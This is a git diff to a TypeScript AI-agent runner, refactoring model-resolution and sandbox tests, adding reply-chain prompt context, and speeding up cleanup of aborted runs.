a/src/agents/pi-embedded-runner/model.test.ts b/src/agents/pi-embedded-runner/model.test.ts index 4c5b0739a9f..6e7e76d4814 100644 --- a/src/agents/pi-embedded-runner/model.test.ts +++ b/src/agents/pi-embedded-runner/model.test.ts @@ -230,6 +230,20 @@ function resolveModelAsyncForTest( }); } +type ResolveModelForTestResult = + | ReturnType + | Awaited>; + +function expectResolvedModel(result: ResolveModelForTestResult) { + if (result.error !== undefined) { + throw new Error(`expected model resolution to succeed, got error: ${result.error}`); + } + if (!result.model) { + throw new Error("expected model resolution to return a model"); + } + return result.model; +} + describe("resolveModel", () => { it("skips PI auth and model discovery during dynamic model resolution", async () => { const result = await resolveModelAsync( @@ -243,8 +257,7 @@ describe("resolveModel", () => { }, ); - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expect(expectResolvedModel(result)).toMatchObject({ provider: "openrouter", id: "openrouter/auto", }); @@ -283,9 +296,7 @@ describe("resolveModel", () => { }, } as unknown as OpenClawConfig); - expect(result.error).toBeUndefined(); - expect(Array.isArray(result.model?.input)).toBe(true); - expect(result.model?.input).toEqual(["text"]); + expect(expectResolvedModel(result).input).toEqual(["text"]); }); it("defaults missing model cost before handing models to PI", () => { @@ -312,8 +323,7 @@ describe("resolveModel", () => { const result = resolveModelForTest("openai", "gpt-5.5", "/tmp/agent", cfg); - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expect(expectResolvedModel(result)).toMatchObject({ provider: "openai", id: "gpt-5.5", cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, @@ -333,11 +343,12 @@ describe("resolveModel", () => { } as unknown as OpenClawConfig; const result = resolveModelForTest("custom", "missing-model", "/tmp/agent", cfg); + const model = expectResolvedModel(result); - expect(result.model?.baseUrl).toBe("http://localhost:9000"); - expect(result.model?.provider).toBe("custom"); - expect(result.model?.id).toBe("missing-model"); - expect(result.model?.api).toBe("openai-completions"); + expect(model.baseUrl).toBe("http://localhost:9000"); + expect(model.provider).toBe("custom"); + expect(model.id).toBe("missing-model"); + expect(model.api).toBe("openai-completions"); }); it("defaults baseUrl-only local custom fallback models to chat completions", () => { @@ -358,15 +369,15 @@ describe("resolveModel", () => { } as unknown as OpenClawConfig; const result = resolveModelForTest("local-agent-proxy", "gpt-5.2", "/tmp/agent", cfg); + const model = expectResolvedModel(result); - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expect(model).toMatchObject({ provider: "local-agent-proxy", id: "gpt-5.2", api: "openai-completions", baseUrl: "http://127.0.0.1:3000/v1", }); - expect(getModelProviderRequestTransport(result.model ?? {})).toBeUndefined(); + expect(getModelProviderRequestTransport(model)).toBeUndefined(); }); it("resolves explicitly configured qwen3.6-plus before Coding Plan built-in suppression", () => { @@ -393,8 +404,7 @@ describe("resolveModel", () => { const result = resolveModelForTest("qwen", "qwen3.6-plus", "/tmp/agent", cfg); - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expect(expectResolvedModel(result)).toMatchObject({ provider: "qwen", id: "qwen3.6-plus", api: "openai-completions", @@ -448,8 +458,7 @@ describe("resolveModel", () => { const result = resolveModelForTest("openai-codex", "gpt-5.4-mini", "/tmp/agent", cfg); - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expect(expectResolvedModel(result)).toMatchObject({ provider: "openai-codex", id: "gpt-5.4-mini", api: "openai-codex-responses", @@ -473,7 +482,9 @@ describe("resolveModel", () => { const result = resolveModelForTest("google-paid", "missing-model", "/tmp/agent", cfg); - expect(result.model?.baseUrl).toBe("https://generativelanguage.googleapis.com/v1beta"); + expect(expectResolvedModel(result).baseUrl).toBe( + "https://generativelanguage.googleapis.com/v1beta", + ); }); it("normalizes configured Google override baseUrls when provider api is omitted", () => { @@ -500,10 +511,10 @@ describe("resolveModel", () => { } as unknown as OpenClawConfig; const result = resolveModelForTest("google", "gemini-2.5-pro", "/tmp/agent", cfg); + const model = expectResolvedModel(result); - expect(result.error).toBeUndefined(); - expect(result.model?.api).toBe("google-generative-ai"); - expect(result.model?.baseUrl).toBe("https://generativelanguage.googleapis.com/v1beta"); + expect(model.api).toBe("google-generative-ai"); + expect(model.baseUrl).toBe("https://generativelanguage.googleapis.com/v1beta"); }); it("normalizes custom api.openai.com providers to responses transport", () => { @@ -526,8 +537,7 @@ describe("resolveModel", () => { const result = resolveModelForTest("custom-openai", "gpt-5.4", "/tmp/agent", cfg); - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expect(expectResolvedModel(result)).toMatchObject({ provider: "custom-openai", id: "gpt-5.4", api: "openai-responses", @@ -555,8 +565,7 @@ describe("resolveModel", () => { const result = resolveModelForTest("custom-xai", "grok-4.1-fast", "/tmp/agent", cfg); - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expect(expectResolvedModel(result)).toMatchObject({ provider: "custom-xai", id: "grok-4.1-fast", api: "openai-responses", @@ -579,9 +588,9 @@ describe("resolveModel", () => { // Requesting a non-listed model forces the providerCfg fallback branch. const result = resolveModelForTest("custom", "missing-model", "/tmp/agent", cfg); + const model = expectResolvedModel(result) as unknown as { headers?: Record }; - expect(result.error).toBeUndefined(); - expect((result.model as unknown as { headers?: Record }).headers).toEqual({ + expect(model.headers).toEqual({ "X-Custom-Auth": "token-123", }); }); @@ -604,9 +613,9 @@ describe("resolveModel", () => { } as unknown as OpenClawConfig; const result = resolveModelForTest("custom", "missing-model", "/tmp/agent", cfg); + const model = expectResolvedModel(result) as unknown as { headers?: Record }; - expect(result.error).toBeUndefined(); - expect((result.model as unknown as { headers?: Record }).headers).toEqual({ + expect(model.headers).toEqual({ "X-Custom-Auth": "token-123", }); }); @@ -627,9 +636,9 @@ describe("resolveModel", () => { }); const result = resolveModelForTest("custom", "listed-model", "/tmp/agent"); + const model = expectResolvedModel(result) as unknown as { headers?: Record }; - expect(result.error).toBeUndefined(); - expect((result.model as unknown as { headers?: Record }).headers).toEqual({ + expect(model.headers).toEqual({ "X-Static": "tenant-a", }); }); @@ -658,9 +667,10 @@ describe("resolveModel", () => { } as unknown as OpenClawConfig; const result = resolveModelForTest("custom", "model-b", "/tmp/agent", cfg); + const model = expectResolvedModel(result); - expect(result.model?.contextWindow).toBe(262144); - expect(result.model?.maxTokens).toBe(32768); + expect(model.contextWindow).toBe(262144); + expect(model.maxTokens).toBe(32768); }); it("merges configured model params with agent defaults for resolved models", () => { diff --git a/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts b/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts index 5c11eec1412..c23574d382b 100644 --- a/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts +++ b/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts @@ -30,6 +30,7 @@ export async function cleanupEmbeddedAttemptResources(params: { bundleMcpRuntime?: { dispose(): Promise | void }; bundleLspRuntime?: { dispose(): Promise | void }; sessionLock: { release(): Promise | void }; + aborted?: boolean; }): Promise { try { try { @@ -37,11 +38,15 @@ export async function cleanupEmbeddedAttemptResources(params: { } catch { /* best-effort */ } + // PERF: When the run was aborted (user stop / timeout), skip the expensive + // waitForIdle (up to 30 s) and just clear pending tool results synchronously + // so the session write-lock is released ASAP and the next message is not blocked. try { await params.flushPendingToolResultsAfterIdle({ agent: params.session?.agent as IdleAwareAgent | null | undefined, sessionManager: params.sessionManager as ToolResultFlushManager | null | undefined, clearPendingOnTimeout: true, + ...(params.aborted ? { timeoutMs: 0 } : {}), }); } catch { /* best-effort */ diff --git a/src/agents/pi-embedded-runner/run/attempt.ts b/src/agents/pi-embedded-runner/run/attempt.ts index 682b91ecd04..9248cacdbe7 100644 --- a/src/agents/pi-embedded-runner/run/attempt.ts +++ b/src/agents/pi-embedded-runner/run/attempt.ts @@ -2345,6 +2345,10 @@ export async function runEmbeddedAttempt( agent: activeSession?.agent, sessionManager, clearPendingOnTimeout: true, + // PERF: If the run was aborted during the setup, + // skip the idle wait and clear pending results synchronously so we can + // immediately dispose the session and throw the error without blocking. + ...(params.abortSignal?.aborted ? { timeoutMs: 0 } : {}), }); activeSession.dispose(); throw err; @@ -3845,6 +3849,14 @@ export async function runEmbeddedAttempt( bundleMcpRuntime, bundleLspRuntime, sessionLock, + // PERF: If the run was aborted (user stop, timeout, etc.), skip the idle wait + // and clear pending results synchronously so we can release the session lock ASAP. + aborted: + Boolean(params.abortSignal?.aborted) || + aborted || + timedOut || + idleTimedOut || + timedOutDuringCompaction, }); } catch (err) { cleanupError = err; diff --git a/src/agents/pi-embedded-runner/run/params.ts b/src/agents/pi-embedded-runner/run/params.ts index 756d75171b1..2e6b87603d7 100644 --- a/src/agents/pi-embedded-runner/run/params.ts +++ b/src/agents/pi-embedded-runner/run/params.ts @@ -31,6 +31,24 @@ export type CurrentTurnPromptContext = { senderLabel?: string; isQuote?: boolean; }; + replyChain?: Array<{ + messageId?: string; + threadId?: string; + sender?: string; + senderId?: string; + senderUsername?: string; + timestamp?: number; + body?: string; + isQuote?: boolean; + mediaType?: string; + mediaPath?: string; + mediaRef?: string; + replyToId?: string; + forwardedFrom?: string; + forwardedFromId?: string; + forwardedFromUsername?: string; + forwardedDate?: number; + }>; }; export type RunEmbeddedPiAgentParams = { diff --git a/src/agents/pi-embedded-runner/run/runtime-context-prompt.test.ts b/src/agents/pi-embedded-runner/run/runtime-context-prompt.test.ts index 6058d4f59e9..4ba1781a9d2 100644 --- a/src/agents/pi-embedded-runner/run/runtime-context-prompt.test.ts +++ b/src/agents/pi-embedded-runner/run/runtime-context-prompt.test.ts @@ -80,6 +80,30 @@ describe("runtime context prompt submission", () => { expect(suffix).not.toContain("\n```\nASSISTANT"); }); + it("formats reply chains as current-turn untrusted prompt context", () => { + const suffix = buildCurrentTurnPromptContextSuffix({ + replyChain: [ + { + messageId: "34098", + sender: "obviyus", + body: "r u back from hermes", + replyToId: "34090", + }, + { + messageId: "34090", + sender: "Kesava", + mediaType: "image/png", + mediaRef: "telegram:file/photo-1", + }, + ], + }); + + expect(suffix).toContain("Reply chain of current user message"); + expect(suffix).toContain('"message_id": "34098"'); + expect(suffix).toContain('"reply_to_id": "34090"'); + expect(suffix).toContain('"media_ref": "telegram:file/photo-1"'); + }); + it("omits empty explicit reply context", () => { expect(buildCurrentTurnPromptContextSuffix(undefined)).toBe(""); expect(buildCurrentTurnPromptContextSuffix({ reply: { body: " " } })).toBe(""); diff --git a/src/agents/pi-embedded-runner/run/runtime-context-prompt.ts b/src/agents/pi-embedded-runner/run/runtime-context-prompt.ts index ed30f5d3229..764408e540b 100644 --- a/src/agents/pi-embedded-runner/run/runtime-context-prompt.ts +++ b/src/agents/pi-embedded-runner/run/runtime-context-prompt.ts @@ -48,6 +48,48 @@ function sanitizeCurrentTurnContextString(value: string): string { export function buildCurrentTurnPromptContextSuffix( context: CurrentTurnPromptContext | undefined, ): string { + const replyChain = context?.replyChain?.filter( + (entry) => + entry.body?.trim() || + entry.mediaType?.trim() || + entry.mediaPath?.trim() || + entry.mediaRef?.trim(), + ); + if (replyChain && replyChain.length > 0) { + const payload = replyChain.map((entry) => ({ + message_id: entry.messageId ? sanitizeCurrentTurnContextString(entry.messageId) : undefined, + thread_id: entry.threadId ? sanitizeCurrentTurnContextString(entry.threadId) : undefined, + sender: entry.sender ? sanitizeCurrentTurnContextString(entry.sender) : undefined, + sender_id: entry.senderId ? sanitizeCurrentTurnContextString(entry.senderId) : undefined, + sender_username: entry.senderUsername + ? sanitizeCurrentTurnContextString(entry.senderUsername) + : undefined, + timestamp: entry.timestamp, + body: entry.body ? sanitizeCurrentTurnContextString(entry.body) : undefined, + is_quote: entry.isQuote === true ? true : undefined, + media_type: entry.mediaType ? sanitizeCurrentTurnContextString(entry.mediaType) : undefined, + media_path: entry.mediaPath ? sanitizeCurrentTurnContextString(entry.mediaPath) : undefined, + media_ref: entry.mediaRef ? sanitizeCurrentTurnContextString(entry.mediaRef) : undefined, + reply_to_id: entry.replyToId ? sanitizeCurrentTurnContextString(entry.replyToId) : undefined, + forwarded_from: entry.forwardedFrom + ? sanitizeCurrentTurnContextString(entry.forwardedFrom) + : undefined, + forwarded_from_id: entry.forwardedFromId + ? sanitizeCurrentTurnContextString(entry.forwardedFromId) + : undefined, + forwarded_from_username: entry.forwardedFromUsername + ? sanitizeCurrentTurnContextString(entry.forwardedFromUsername) + : undefined, + forwarded_date: entry.forwardedDate, + })); + return [ + "", + "Reply chain of current user message (untrusted, nearest first):", + "```json", + JSON.stringify(payload, null, 2), + "```", + ].join("\n"); + } const reply = context?.reply; const replyBody = reply?.body?.trim(); if (!reply || !replyBody) { diff --git a/src/agents/pi-embedded-runner/stream-resolution.test.ts b/src/agents/pi-embedded-runner/stream-resolution.test.ts index 66ba5247ec7..607c01de742 100644 --- a/src/agents/pi-embedded-runner/stream-resolution.test.ts +++ b/src/agents/pi-embedded-runner/stream-resolution.test.ts @@ -1,5 +1,5 @@ import type { StreamFn } from "@mariozechner/pi-agent-core"; -import { streamSimple } from "@mariozechner/pi-ai"; +import { getApiProvider, streamSimple } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; import * as providerTransportStream from "../provider-transport-stream.js"; import { @@ -147,6 +147,33 @@ describe("resolveEmbeddedAgentStreamFn", () => { expect(streamFn).not.toBe(streamSimple); }); + it("routes PI native OpenAI-compatible provider streams through boundary-aware transports", async () => { + const nativeStreamFn = getApiProvider("openai-completions")?.streamSimple; + if (!nativeStreamFn) { + throw new Error("expected native OpenAI-compatible stream function"); + } + const innerStreamFn = vi.fn(async (_model, _context, options) => options); + overrideBoundaryAwareStreamFnOnce(innerStreamFn as never); + + const streamFn = resolveEmbeddedAgentStreamFn({ + currentStreamFn: nativeStreamFn, + shouldUseWebSocketTransport: false, + sessionId: "session-1", + model: { + api: "openai-completions", + provider: "llama", + id: "qwen36-35b-a3b", + } as never, + resolvedApiKey: "local-token", + }); + + expect(streamFn).not.toBe(nativeStreamFn); + await expect( + streamFn({ provider: "llama", id: "qwen36-35b-a3b" } as never, {} as never, {}), + ).resolves.toMatchObject({ apiKey: "local-token" }); + expect(innerStreamFn).toHaveBeenCalledTimes(1); + }); + it("injects the resolved run api key into provider-owned stream functions", async () => { const providerStreamFn = vi.fn(async (_model, _context, options) => options); const authStorage = { diff --git a/src/agents/pi-embedded-runner/stream-resolution.ts b/src/agents/pi-embedded-runner/stream-resolution.ts index c1e2f5aa225..91999ad4c2e 100644 --- a/src/agents/pi-embedded-runner/stream-resolution.ts +++ b/src/agents/pi-embedded-runner/stream-resolution.ts @@ -1,5 +1,5 @@ import type { StreamFn } from "@mariozechner/pi-agent-core"; -import { streamSimple } from "@mariozechner/pi-ai"; +import { getApiProvider, streamSimple } from "@mariozechner/pi-ai"; import { createAnthropicVertexStreamFnForModel } from "../anthropic-vertex-stream.js"; import { createOpenAIWebSocketStreamFn } from "../openai-ws-stream.js"; import { getModelProviderRequestTransport } from "../provider-request-config.js"; @@ -25,6 +25,21 @@ export function resetEmbeddedAgentBaseStreamFnCacheForTest(): void { embeddedAgentBaseStreamFnCache = new WeakMap(); } +function isDefaultPiStreamFnForModel( + model: EmbeddedRunAttemptParams["model"], + streamFn: StreamFn | undefined, +): boolean { + if (!streamFn || streamFn === streamSimple) { + return true; + } + const api = typeof model.api === "string" ? model.api.trim() : ""; + if (!api) { + return false; + } + const provider = getApiProvider(api as never); + return streamFn === provider?.streamSimple || streamFn === provider?.stream; +} + export function describeEmbeddedAgentStreamStrategy(params: { currentStreamFn: StreamFn | undefined; providerStreamFn?: StreamFn; @@ -41,7 +56,7 @@ export function describeEmbeddedAgentStreamStrategy(params: { if (params.model.provider === "anthropic-vertex") { return "anthropic-vertex"; } - if (params.currentStreamFn === undefined || params.currentStreamFn === streamSimple) { + if (isDefaultPiStreamFnForModel(params.model, params.currentStreamFn)) { return createBoundaryAwareStreamFnForModel(params.model) ? `boundary-aware:${params.model.api}` : "stream-simple"; @@ -104,7 +119,7 @@ export function resolveEmbeddedAgentStreamFn(params: { return createAnthropicVertexStreamFnForModel(params.model); } - if (params.currentStreamFn === undefined || params.currentStreamFn === streamSimple) { + if (isDefaultPiStreamFnForModel(params.model, params.currentStreamFn)) { const boundaryAwareStreamFn = createBoundaryAwareStreamFnForModel(params.model); if (boundaryAwareStreamFn) { // Boundary-aware transports read credentials from options.apiKey just diff --git a/src/agents/pi-embedded-runner/wait-for-idle-before-flush.ts b/src/agents/pi-embedded-runner/wait-for-idle-before-flush.ts index e38089b8789..6ccd0869920 100644 --- a/src/agents/pi-embedded-runner/wait-for-idle-before-flush.ts +++ b/src/agents/pi-embedded-runner/wait-for-idle-before-flush.ts @@ -46,10 +46,14 @@ export async function flushPendingToolResultsAfterIdle(opts: { timeoutMs?: number; clearPendingOnTimeout?: boolean; }): Promise { - const timedOut = await waitForAgentIdleBestEffort( - opts.agent, - opts.timeoutMs ?? DEFAULT_WAIT_FOR_IDLE_TIMEOUT_MS, - ); + const isImmediateTimeout = opts.timeoutMs !== undefined && opts.timeoutMs <= 0; + const timedOut = + isImmediateTimeout || + (await waitForAgentIdleBestEffort( + opts.agent, + opts.timeoutMs ?? DEFAULT_WAIT_FOR_IDLE_TIMEOUT_MS, + )); + if (timedOut && opts.clearPendingOnTimeout && opts.sessionManager?.clearPendingToolResults) { opts.sessionManager.clearPendingToolResults(); return; diff --git a/src/agents/pi-hooks/compaction-safeguard.test.ts b/src/agents/pi-hooks/compaction-safeguard.test.ts index 2241ac83d27..d47669a02f1 100644 --- a/src/agents/pi-hooks/compaction-safeguard.test.ts +++ b/src/agents/pi-hooks/compaction-safeguard.test.ts @@ -116,7 +116,7 @@ const createCompactionHandler = () => { if (!compactionHandler) { throw new Error("expected compaction safeguard handler"); } - return compactionHandler as CompactionHandler; + return compactionHandler; }; const createCompactionEvent = (params: { messageText: string; tokensBefore: number }) => ({ diff --git a/src/agents/pi-hooks/context-pruning.test.ts b/src/agents/pi-hooks/context-pruning.test.ts index cf65cdc0d35..a2da89bb330 100644 --- a/src/agents/pi-hooks/context-pruning.test.ts +++ b/src/agents/pi-hooks/context-pruning.test.ts @@ -405,7 +405,7 @@ describe("context-pruning", () => { }); const tool = findToolResult(next, "t1"); - expect(tool.content.some((b) => b.type === "image")).toBe(false); + expect(tool.content.filter((block) => block.type === "image")).toEqual([]); expect(toolText(tool)).toContain("[image removed during context pruning]"); expect(toolText(tool)).toContain("visible tool text"); }); diff --git a/src/agents/pi-tools.read.host-edit-access.test.ts b/src/agents/pi-tools.read.host-edit-access.test.ts index 2b7ec16563f..6e807b716a3 100644 --- a/src/agents/pi-tools.read.host-edit-access.test.ts +++ b/src/agents/pi-tools.read.host-edit-access.test.ts @@ -67,7 +67,7 @@ describe("createHostWorkspaceEditTool host access mapping", () => { // By resolving silently the subsequent readFile call surfaces the real // "Path escapes workspace root" / "outside-workspace" error instead. await expect( - mocks.operations!.access(path.join(workspaceDir, "escape", "secret.txt")), + mocks.operations.access(path.join(workspaceDir, "escape", "secret.txt")), ).resolves.toBeUndefined(); }, ); diff --git a/src/agents/sandbox/fs-bridge.shell.test.ts b/src/agents/sandbox/fs-bridge.shell.test.ts index ff6b622ebc0..1fd440266c9 100644 --- a/src/agents/sandbox/fs-bridge.shell.test.ts +++ b/src/agents/sandbox/fs-bridge.shell.test.ts @@ -12,6 +12,14 @@ import { withTempDir, } from "./fs-bridge.test-helpers.js"; +function expectNoScriptsContaining(scripts: string[], needle: string) { + expect(scripts.filter((script) => script.includes(needle))).toEqual([]); +} + +function expectSomeScriptContaining(scripts: string[], needle: string) { + expect(scripts.filter((script) => script.includes(needle)).length).toBeGreaterThan(0); +} + describe("sandbox fs bridge shell compatibility", () => { installFsBridgeTestHarness(); @@ -41,9 +49,9 @@ describe("sandbox fs bridge shell compatibility", () => { const scripts = getScriptsFromCalls(); const executables = mockedExecDockerRaw.mock.calls.map(([args]) => args[3] ?? ""); - expect(executables.every((shell) => shell === "sh")).toBe(true); - expect(scripts.every((script) => /set -eu[;\n]/.test(script))).toBe(true); - expect(scripts.some((script) => script.includes("pipefail"))).toBe(false); + expect(executables.filter((shell) => shell !== "sh")).toEqual([]); + expect(scripts.filter((script) => !/set -eu[;\n]/.test(script))).toEqual([]); + expectNoScriptsContaining(scripts, "pipefail"); }); }); @@ -131,13 +139,11 @@ describe("sandbox fs bridge shell compatibility", () => { await bridge.writeFile({ filePath: "b.txt", data: "hello" }); const scripts = getScriptsFromCalls(); - expect(scripts.some((script) => script.includes("python3 - \"$@\" <<'PY'"))).toBe(false); - expect( - scripts.some((script) => script.includes('exec "$python_cmd" -c "$python_script" "$@"')), - ).toBe(true); - expect(scripts.some((script) => script.includes('cat >"$1"'))).toBe(false); - expect(scripts.some((script) => script.includes('cat >"$tmp"'))).toBe(false); - expect(scripts.some((script) => script.includes("os.replace("))).toBe(true); + expectNoScriptsContaining(scripts, "python3 - \"$@\" <<'PY'"); + expectSomeScriptContaining(scripts, 'exec "$python_cmd" -c "$python_script" "$@"'); + expectNoScriptsContaining(scripts, 'cat >"$1"'); + expectNoScriptsContaining(scripts, 'cat >"$tmp"'); + expectSomeScriptContaining(scripts, "os.replace("); }); it("routes mkdirp, remove, and rename through the pinned mutation helper", async () => { @@ -152,9 +158,9 @@ describe("sandbox fs bridge shell compatibility", () => { const scripts = getScriptsFromCalls(); expect(scripts.filter((script) => script.includes("operation = sys.argv[1]")).length).toBe(3); - expect(scripts.some((script) => script.includes('mkdir -p -- "$2"'))).toBe(false); - expect(scripts.some((script) => script.includes('rm -f -- "$2"'))).toBe(false); - expect(scripts.some((script) => script.includes('mv -- "$3" "$2/$4"'))).toBe(false); + expectNoScriptsContaining(scripts, 'mkdir -p -- "$2"'); + expectNoScriptsContaining(scripts, 'rm -f -- "$2"'); + expectNoScriptsContaining(scripts, 'mv -- "$3" "$2/$4"'); }); }); @@ -173,6 +179,6 @@ describe("sandbox fs bridge shell compatibility", () => { ); const scripts = getScriptsFromCalls(); - expect(scripts.some((script) => script.includes("os.replace("))).toBe(false); + expectNoScriptsContaining(scripts, "os.replace("); }); }); diff --git a/src/agents/sandbox/fs-bridge.test-helpers.ts b/src/agents/sandbox/fs-bridge.test-helpers.ts index 154e819fa11..5bf552265f8 100644 --- a/src/agents/sandbox/fs-bridge.test-helpers.ts +++ b/src/agents/sandbox/fs-bridge.test-helpers.ts @@ -225,9 +225,11 @@ export async function expectMkdirpAllowsExistingDirectory(params?: { getDockerScript(args).includes("operation = sys.argv[1]") && getDockerArg(args, 1) === "mkdirp", ); - expect(mkdirCall).toBeDefined(); - const mountRoot = mkdirCall ? getDockerArg(mkdirCall[0], 2) : ""; - const relativePath = mkdirCall ? getDockerArg(mkdirCall[0], 3) : ""; + if (!mkdirCall) { + throw new Error("expected docker mkdirp call"); + } + const mountRoot = getDockerArg(mkdirCall[0], 2); + const relativePath = getDockerArg(mkdirCall[0], 3); expect(mountRoot).toBe("/workspace"); expect(relativePath).toBe("memory/kemik"); }); diff --git a/src/agents/test-helpers/pi-tools-fs-helpers.ts b/src/agents/test-helpers/pi-tools-fs-helpers.ts index 90fbf51576c..29a3ce7cd04 100644 --- a/src/agents/test-helpers/pi-tools-fs-helpers.ts +++ b/src/agents/test-helpers/pi-tools-fs-helpers.ts @@ -7,27 +7,27 @@ export function getTextContent(result?: { content?: TextResultBlock[] }) { return textBlock?.text ?? ""; } +function expectTool(tools: T[], name: string): T { + const tool = tools.find((entry) => entry.name === name); + if (!tool) { + throw new Error(`expected tool "${name}" in [${tools.map((entry) => entry.name).join(", ")}]`); + } + return tool; +} + export function expectReadWriteEditTools(tools: T[]) { - const readTool = tools.find((tool) => tool.name === "read"); - const writeTool = tools.find((tool) => tool.name === "write"); - const editTool = tools.find((tool) => tool.name === "edit"); - expect(readTool).toBeDefined(); - expect(writeTool).toBeDefined(); - expect(editTool).toBeDefined(); + expect(tools.map((tool) => tool.name)).toEqual(expect.arrayContaining(["read", "write", "edit"])); return { - readTool: readTool as T, - writeTool: writeTool as T, - editTool: editTool as T, + readTool: expectTool(tools, "read"), + writeTool: expectTool(tools, "write"), + editTool: expectTool(tools, "edit"), }; } export function expectReadWriteTools(tools: T[]) { - const readTool = tools.find((tool) => tool.name === "read"); - const writeTool = tools.find((tool) => tool.name === "write"); - expect(readTool).toBeDefined(); - expect(writeTool).toBeDefined(); + expect(tools.map((tool) => tool.name)).toEqual(expect.arrayContaining(["read", "write"])); return { - readTool: readTool as T, - writeTool: writeTool as T, + readTool: expectTool(tools, "read"), + writeTool: expectTool(tools, "write"), }; } diff --git a/src/agents/tool-fs-policy.ts b/src/agents/tool-fs-policy.ts index 5d23b1858d4..650e37fc3ff 100644 --- a/src/agents/tool-fs-policy.ts +++ b/src/agents/tool-fs-policy.ts @@ -1,12 +1,11 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { resolveAgentConfig } from "./agent-scope.js"; import { pickSandboxToolPolicy } from "./sandbox-tool-policy.js"; +import type { ToolFsPolicy } from "./tool-fs-policy.types.js"; import { isToolAllowedByPolicies } from "./tool-policy-match.js"; import { mergeAlsoAllowPolicy, resolveToolProfilePolicy } from "./tool-policy.js"; -export type ToolFsPolicy = { - workspaceOnly: boolean; -}; +export type { ToolFsPolicy } from "./tool-fs-policy.types.js"; export function createToolFsPolicy(params: { workspaceOnly?: boolean }): ToolFsPolicy { return { diff --git a/src/agents/tool-fs-policy.types.ts b/src/agents/tool-fs-policy.types.ts new file mode 100644 index 00000000000..14775af2fa4 --- /dev/null +++ b/src/agents/tool-fs-policy.types.ts @@ -0,0 +1,3 @@ +export type ToolFsPolicy = { + workspaceOnly: boolean; +}; diff --git a/src/agents/tool-images.log.test.ts b/src/agents/tool-images.log.test.ts index 479d598972f..183df912861 100644 --- a/src/agents/tool-images.log.test.ts +++ b/src/agents/tool-images.log.test.ts @@ -54,7 +54,7 @@ describe("tool-images log context", () => { ]; await sanitizeContentBlocksImages(blocks, "nodes:camera_snap"); const messages = infoMock.mock.calls.map((call) => String(call[0] ?? "")); - expect(messages.some((message) => message.includes("camera-front.png"))).toBe(true); + expect(messages).toEqual(expect.arrayContaining([expect.stringContaining("camera-front.png")])); }); it("includes filename from read label", async () => { @@ -63,6 +63,8 @@ describe("tool-images log context", () => { ]; await sanitizeContentBlocksImages(blocks, "read:/tmp/images/sample-diagram.png"); const messages = infoMock.mock.calls.map((call) => String(call[0] ?? "")); - expect(messages.some((message) => message.includes("sample-diagram.png"))).toBe(true); + expect(messages).toEqual( + expect.arrayContaining([expect.stringContaining("sample-diagram.png")]), + ); }); }); diff --git a/src/agents/tools/agents-list-tool.test.ts b/src/agents/tools/agents-list-tool.test.ts index 668be64bd88..f31d8702878 100644 --- a/src/agents/tools/agents-list-tool.test.ts +++ b/src/agents/tools/agents-list-tool.test.ts @@ -32,7 +32,10 @@ describe("agents_list tool", () => { id: "codex", name: "Codex", model: "openai/gpt-5.5", - agentRuntime: { id: "codex" }, + agentRuntime: { id: "pi" }, + models: { + "openai/gpt-5.5": { agentRuntime: { id: "codex" } }, + }, }, ], }, @@ -52,7 +55,7 @@ describe("agents_list tool", () => { name: "Codex", configured: true, model: "openai/gpt-5.5", - agentRuntime: { id: "codex", source: "agent" }, + agentRuntime: { id: "codex", source: "model" }, }, ], }); @@ -83,7 +86,7 @@ describe("agents_list tool", () => { }); }); - it("reports env-forced plugin runtime selections", async () => { + it("ignores legacy env-forced plugin runtime selections", async () => { vi.stubEnv("OPENCLAW_AGENT_RUNTIME", "codex"); loadConfigMock.mockReturnValue({ agents: { @@ -104,13 +107,13 @@ describe("agents_list tool", () => { agents: [ { id: "main", - agentRuntime: { id: "codex", source: "env" }, + agentRuntime: { id: "codex", source: "implicit" }, }, ], }); }); - it("reports per-agent runtime overrides", async () => { + it("ignores legacy per-agent runtime overrides", async () => { loadConfigMock.mockReturnValue({ agents: { defaults: { @@ -134,7 +137,7 @@ describe("agents_list tool", () => { agents: [ { id: "strict", - agentRuntime: { id: "codex", source: "agent" }, + agentRuntime: { id: "codex", source: "implicit" }, }, ], }); diff --git a/src/agents/tools/agents-list-tool.ts b/src/agents/tools/agents-list-tool.ts index 6d58f821a4c..56cd222851d 100644 --- a/src/agents/tools/agents-list-tool.ts +++ b/src/agents/tools/agents-list-tool.ts @@ -5,8 +5,9 @@ import { normalizeAgentId, parseAgentSessionKey, } from "../../routing/session-key.js"; -import { resolveAgentRuntimeMetadata } from "../agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../agent-runtime-metadata.js"; import { resolveAgentConfig, resolveAgentEffectiveModelPrimary } from "../agent-scope.js"; +import { resolveDefaultModelForAgent } from "../model-selection.js"; import { resolveSubagentAllowedTargetIds } from "../subagent-target-policy.js"; import type { AnyAgentTool } from "./common.js"; import { jsonResult } from "./common.js"; @@ -21,7 +22,7 @@ type AgentListEntry = { model?: string; agentRuntime?: { id: string; - source: "env" | "agent" | "defaults" | "implicit"; + source: "env" | "agent" | "defaults" | "model" | "provider" | "implicit"; }; }; @@ -79,12 +80,19 @@ export function createAgentsListTool(opts?: { .toSorted((a, b) => a.localeCompare(b)); const ordered = all.includes(requesterAgentId) ? [requesterAgentId, ...rest] : rest; const agents: AgentListEntry[] = ordered.map((id) => { - const agentRuntime = resolveAgentRuntimeMetadata(cfg, id); + const model = resolveAgentEffectiveModelPrimary(cfg, id); + const resolvedModel = resolveDefaultModelForAgent({ cfg, agentId: id }); + const agentRuntime = resolveModelAgentRuntimeMetadata({ + cfg, + agentId: id, + provider: resolvedModel.provider, + model: resolvedModel.model, + }); return { id, name: configuredNameMap.get(id), configured: configuredIds.includes(id), - model: resolveAgentEffectiveModelPrimary(cfg, id), + model, agentRuntime, }; }); diff --git 